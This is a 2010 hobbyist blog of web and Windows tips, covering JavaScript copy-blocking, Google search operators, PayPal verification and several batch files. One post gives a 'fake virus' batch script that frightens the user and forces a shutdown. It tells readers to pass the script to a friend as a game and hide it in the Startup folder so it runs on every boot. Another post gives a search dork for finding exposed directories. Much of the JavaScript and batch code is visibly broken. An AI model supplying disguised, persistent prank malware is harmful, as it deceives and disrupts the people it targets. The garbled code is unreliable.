Monday, March 29, 2010

Unselectable text script with hack for Chrome

Now I don't know if it is useful 4 U or not, but it'll B an eye catcher 4 sure. Many people R paranoid that what they put on their site will B copied by others. Now U can always add a script 2 block right-click like this one,
function disableRightClick(e){
var message = "Right click disabled";
if(!document.rightClickDisabled) // initialize
document.onmousedown = disableRightClick;}
else document.oncontextmenu = disableRightClick;
return document.rightClickDisabled = true;}
if(document.layers || (document.getElementById && !document.all)){
if (e.which==2||e.which==3){
return false;}}
return false;}}

Now, this takes care of right-clicks, but if U want 2 go ahead with this then try this. Copy & paste this code in a .js file, this will stop users from selecting any text or image from your web page.
Links will not B affected. Here is D code,
var Unselectable = {
enable : function(e) {
var e = e ? e : window.event;
if (e.button !=1) {
if ( {
var targer =;
} else if (e.srcElement) {
var targer = e.srcElement;
var targetTag = targer.tagName.toLowerCase();
if ((targetTag != "input") && (targetTag != "textarea")){
return false;
disable : function () {
return true;
if (typeof(document.onselectstart) != "undefined") {
document.onselectstart = Unselectable.enable;
} else {document.onmousedown = Unselectable.enable;
document.onmouseup = Unselectable.disable;}
Done now link it with any page & it'll B unselectable.
P.S.- Don't know Y but it doesn't works in Chrome. So I found a hack that works in Chrome.
Just add this code D body tag,
<body ondragstart="return false" onselectstart="return false">
Hope it helps U.

Sunday, March 28, 2010

Google Hacking Tricks Part-I

Google™ Hacking or whatever it is called is actually nothing but using some specific keywords 2 get a more desired results. There R lots of keywords & placing them here is not a small thing. So let's start with a few common words that might B helpful 2 U.
Type intext:your keyword. Google™ will search only text containing your keyword within D site ignoring D links, title & url.

Type intitle:my site. Google™ will search only 4 D sites containing D title my site.
U can also add variations 2 this search by typing, intitle:my intitle:site. This will search site whose title contain either my or site.
Also type allintitle:my site, this will force Google™ 2 search sites whose title contain both D words in D same order.

To find a specific file format e.g.- .doc or .pdf, type keyword filetype:doc. Google™ will find word documents with D name keyword.

If U want 2 search a single web page then type my keyword.
U can also just search D domain name by typing
site:com keyword
site:org keyword
site:net keyword
site:tv keyword

Here R a few examples of using more than one hack
-inurl(html|htm|php) intitle:"index of" +"last modified" +"parent directory" +description +size
This will give U a list of unprotected directories

-inurl(html|htm|php) intitle:"index of" +"last modified" +"parent directory" +description +size +"Kareena Kapoor"
This will give U probably a list of Kareena Kapoor pics & stuff.

-inurl(html|htm|php) intitle:"index of" +"last modified" +"parent directory" +description +size +(wmv|avi)
This will give U a list of wmv & avi files.

-inurl(html|htm|php) intitle:"index of" +"last modified" +"parent directory" +description +size +(wma|mp3)
This will give a list of wma & mp3 audio files.

-inurl(html|htm|php) intitle:"index of" +"last modified" +"parent directory" +description +size +(jpg|gif)
Jpeg & gif image file list.

Like type, -inurl(html|htm|php) intitle:"index of" +"last modified" +"parent directory" +description +size +(wma|mp3) +"In the End", will give U a list of songs with title "In the End".

U can also do maths in Google™ (I wish I knew it when my exams were going). Just type D following in Google search & hit enter.
sine(30 degrees) - Finds D sin of 30 degrees.
2^20 - Finds 2 to D power of 20 (Don't know what that is)
sqrt(2870 - Finds D Square root of 287.
Here R D list of mathematical signs that Google™ recognizes & can B used.
+ For addition
- For subtraction
* For multiplication
/ For division
^ For exponential (x to the power of y)
% For modulo (finding the remainder after division)

U can convert one unit 2 other in Google™. Type,
5 oz in cup - Finds 5 ounces in 1 cup.
12 parsecs in feet - Finds 12 parsecs in 1 foot.
37 degrees in Fahrenheit - Converts 37 degrees to Fahrenheit.

Last but not least U can also use Google™ 2 find D meaning of a word by typing, define:word
There R more Google™ hacks but rest of them I'll post later.

Friday, March 26, 2010

Verify your Paypal account by a Paypal Plus Credit card

In this post I'll tell U how 2 verify your Paypal account by applying 4 a Paypal Plus Credit card.
U might also want 2 read my previous post on how 2 verify your Paypal™ account by Bank account.
  1. Scroll down on your Paypal™ Account page
  2. Click on "Plus Card" link. U'll B take 2 D "Paypal™ Plus Credit Card" page
  3. Click on D "Apply Now" button.
  4. Fill in D application form. Most of D information R those that Paypal™ already has
  5. If U want 2 enter D Account Security Program then check D box by it side. Then read D "Terms & Conditions".
  6. Hit D "Accept and Submit" button. In 1 minute paypal™ will inform U if U R approved or not. If U R approved then your account will automatically B verified.

Verify your Paypal account by Bank account.

Today a friend of mine asked me about verifying Paypal™ account. Now if your account is verified then U have no limit on how much U transfer & U can assure your users that all transactions that they made R valid & safe.
U can verify your Paypal™ account by your Bank account.
  1. Login In your PayPal™ account. U'll B at "My Account Overview" page.
  2. Find "Activate Account" heading & click on "Add Bank Account". U can also add a Bank account on "Profile Summary" page by clicking on "Bank Accounts" in the "Financial Information" column
  3. Enter your bank account details e.g.- bank name, branch code, your account number, etc, hit continue.
  4. Paypal™ offers 2 methods to verify your account.

    1. If your bank offers online banking then enter your online banking information. Paypal™ will check with D bank to verify your account instantly.
    2. Second method is Paypal™ will deposit 2 small deposits in your bank account. Check your bank statements for those Paypal™ deposits. Click on "Confirm Bank Account" link on your "Account Summary" page, then enter the amounts of D deposits.
Tada!! your account is verified.
U can also verify your Paypal™ account using Paypal™ Plus Credit card.

Tuesday, March 23, 2010

Fake Batch Virus

I've seen lots of fake viruses, some R nice some are good, but this one that I made is better than others.
Now it does nothing much it only opens command prompt and asks U 2 hit a key when U hit a key it starts showing a message that it is a virus and it'll delete all your files, D usual stuff.
Then it appears that D computer is scanning 4 D virus and it deletes D system32 folder and then your computer can't reboot and it shuts down. There is a code that creates a shutdown countdown at D end.
So Here's D code
@echo off
rem Batch Attack v1.0
rem Created By Tanmay Das
title Command Prompt
@ping -n 2 -w 1000 > nul
@ping -n %1% -w 1000> nul
color 04
title Mad Hatter v0.1
echo I have something to tell you.
@ping -n 3 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo Actually I'm a virus.....
@ping -n 3 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo I will delete your files.....
@ping -n 3 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo COOL RIGHT!!!!
@ping -n 3 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo So you better say goodbye to all your files!!
@ping -n 3 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo Nothing Personal it's just the way I was made :)
@ping -n 4 -w 1000 > nul
@ping -n %1% -w 1000> nul
title Microsoft Windows [Version 5.1.2600]
echo WARNING!!!!!!!!!
@ping -n 1 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo Virus Infection found in the system
@ping -n 2 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo Scanning System for Infected Files
@ping -n 2 -w 1000 > nul
@ping -n %1% -w 1000> nul
@ping -n 1 -w 1000 > nul
@ping -n %1% -w 1000> nul
@ping -n 2 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo System Scan Completed!!!!!!!!
@ping -n 2 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo Infected Files Found
@ping -n 2 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo C:\WINDOWS\system32
@ping -n 2 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo Deleting Infected Files!!!!!
@ping -n 2 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo ACCESS DENIED !!!!!!!!
@ping -n 1 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo ACCESS DENIED !!!!!!!!
@ping -n 1 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo ACCESS DENIED !!!!!!!!
@ping -n 1 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo ACCESS DENIED !!!!!!!!
@ping -n 2 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo Cannot Delete Infected Files!!!!!
@ping -n 2 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo System Files Corrupted
@ping -n 2 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo Windows Has Found Fatal Runtime Error
@ping -n 2 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo Windows Can Not Reboot Itself
@ping -n 2 -w 1000 > nul
@ping -n %1% -w 1000> nul
echo Windows Is Shutting Down
@ping -n 2 -w 1000 > nul
@ping -n %1% -w 1000> nul
msg * Windows is Shutting Down
shutdown -s -t 30 "Windows file write delayed. Unable to locate system.exe"

Copy Paste it in Notepad and save it as install.bat
Tell your friend it's a new game or something. It'll B fun.
Hide this file in the Startup folder in C:\Documents and Settings\Username\Start Menu\Programs\Startup
Then It'll automatically start on every boot up.

Next I'll post a code 2 copy this file 2 Startup folder so U don't have 2.

Thursday, March 18, 2010

Locking a folder with password by a batch file

Many of U might have a sibling who always uses your computer. Sometimes it becomes irritating if U write a diary on your computer. He/She might read it and chances are publish it on Facebook™ or Twitter™.
So what can U do 2 stop this? Well U can download a free encoding software from D net 2 password protect your folders and even zip them. (U can password protect a zip file or even a pdf file)
But downloading a free software is somewhat risky nowadays. I'm not scaring U in anyway but that what I've suffered. Also if someone sees such a software on your computer then chances R they'll know 4 sure that U R hiding something. So D solution is 2 hide a folder without any software.
Here is a batch file that hides your files & U have 2 enter a password 2 get them back.
Open Notepad
title Secret Folder
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
echo Are you sure u want to Hide the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%== mypassword goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Secret
echo Folder Unlocked successfully
goto End
echo Invalid password
goto end
md Secret
echo Folder created successfully
goto End
Change mypassword with your password.
Save it as nothing.bat or something (remember to select all files & save it with a .bat extension)
All done, now when U double click on this file, a folder named Secret will B created. Add all your files that U want 2 hide in it & then double click on D bat file. It'll ask U if U wish 2 hide Secret folder. Type Y for yes and N for no. Once hidden if U want 2 get back your files then double click on the bat file again, it'll ask U 2 enter a password, enter D password that U placed in it & your Secret folder will appear.
P.S.- I've not written this file myself, I got it from D net. But I have tested & use this batch file, so I'd say it works great. Soon I might add some changes 2 it & post it again.

Wednesday, March 10, 2010

Making an autorun file

When you make a presentation it makes a good impression if your presentation (video, audio or .exe files) executes on inserting the CD. This can be achieved by autorun.
Autorun is a utility by which Windows™ users can automatically run any application on a CD or a flash drive when it is connected to the PC. It is achieved by a text file named autorun.inf which must be present on the root directory of the CD or flash drive. When inserted the OS looks for the autorun.inf in the CD, if not found then it shows the usual menu.
To use this utility all you have to do is create a autorun.inf file and save it on your CD or flash drive. You can also configure your autorun.inf to do much more.
To make a autorun.inf file, open Notepad and type in it:
Save the file as autorun.inf (remember to select all files)

Now for the explanations:
[autorun] is the command for autorun utility.
open is the parameter that can be changed as per your needs (here it opens the file).
myfile.exe is the value of the parameter, you can change the extension depending on the file you want to open.

You can also make some changes to this basic file. For e.g.:
If your file is inside a folder you have to add the location as

open=first folder/second folder/myfile.exe

If you want an icon to be shown instead of the CD or flash drive icon (like in many software install CDs)
You can add this line:
You can add any file as icon with the following extensions:

So thats that all that I knew about autorun files.

Saturday, March 6, 2010

Option in Browsing

U know that Microsoft™ gives away Internet Explorer™ with Windows™ 4 free, but soon there'll B some changes. Many big browser making companies have complained that Explorer is getting more advantages as many people don't know much about computers let alone browsers, so they don't know their options.
So Microsoft™ has decided 2 add some changes 2 Windows™. Like now when U open Windows™ your default browser is Explorer™, but soon in their newer versions when you'll open browser U'll get a list of all available browsers and U have 2 choose which 1 U want 2 use.
Cool but I M sticking 2 my older version as it is working fine as it is.

Transfer money with Facebook

No Paypal™, No Alertpay™ just Facebook™.
Yeah all U need is Facebook™ to transfer amount to your friend. A new app called Buxter™ allows U 2 transfer amount upto 50,000 in USD 2 any friend who has this app. And all this is free. But U have 2 pay 4 any withdrawal that U make. So go right ahead try it out & tell me if it's worth it or not.
U can download D app from here
This is Buxter's official site

Tuesday, March 2, 2010

Matrix in Notepad

How many of U liked D Matrix???
What did U like most about D Matrix???
I liked D Matrix pattern U know with D numbers & letters in green on black.
So I found this code:
@echo off
color 0a
echo W 8 e L c 7 o M 2 E t 0 O t 0 H e 5 m A 7 t R I 1 x
ping localhost -n 1
> nul
echo W 8 e L c 7 o M 2 E t 0 O t 0 H e 5 m A 7 t R I 1 x
ping localhost -n 1
> nul
echo W 8 e L c 7 o M 2 E t 0 O t 0 H e 5 m A 7 t R I 1 x
ping localhost -n 1
> nul
echo W 8 e L c 7 o M 2 E t 0 O t 0 H e 5 m A 7 t R I 1 x
ping localhost -n 1
> nul
goto A

Now save it as "matrix.bat"
Done 2 make it appear full screen, just copy & paste the lines
echo W 8 e L c 7 o M 2 E t 0 O t 0 H e 5 m A 7 t R I 1 x
ping localhost -n 1
> nul
more & more.
U can also make it appear full screen.
Just create a shortcut, Right-click on matrix.bat > create shortcut.
Select D shortcut > Right-click > Properties > Open in window : Maximized.

P.S.- Neither have I written this code nor do I take any responsibility 4 it. Use at your own risk.

Changing Background 4 your site

What this script will do is change your background image after a fixed time period. U can add as many images as U want. I have not seen anything like that on any site yet. But who knows.
So I have this script take it or leave it your choice.
<script language="JavaScript">
<!-- This is not my script nor do I claim any rights on it. If U want U can give me D credits 4 bringing it 2 U
// Set speed (milliseconds)
var speed = 1000

// Specify the image files
var Pic = new Array() // don't touch this

Pic[0] = '1.gif'
Pic[1] = '2.gif'
Pic[2] = '3.gif'
Pic[3] = '4.gif'

// do not edit anything below this line

var t
var j = 0
var p = Pic.length

var preLoad = new Array()
for (i = 0; i < p; i++){ preLoad[i] = new Image() preLoad[i].src = Pic[i] } function runBGSlideShow(){ if (document.body){ document.body.background = Pic[j]; j = j + 1 if (j > (p-1)) j=0
t = setTimeout('runBGSlideShow()', speed)
// End -->
<body onload="runBGSlideShow()">


Just ad more bg pics after Pic[3] = '4.gif' and U R done.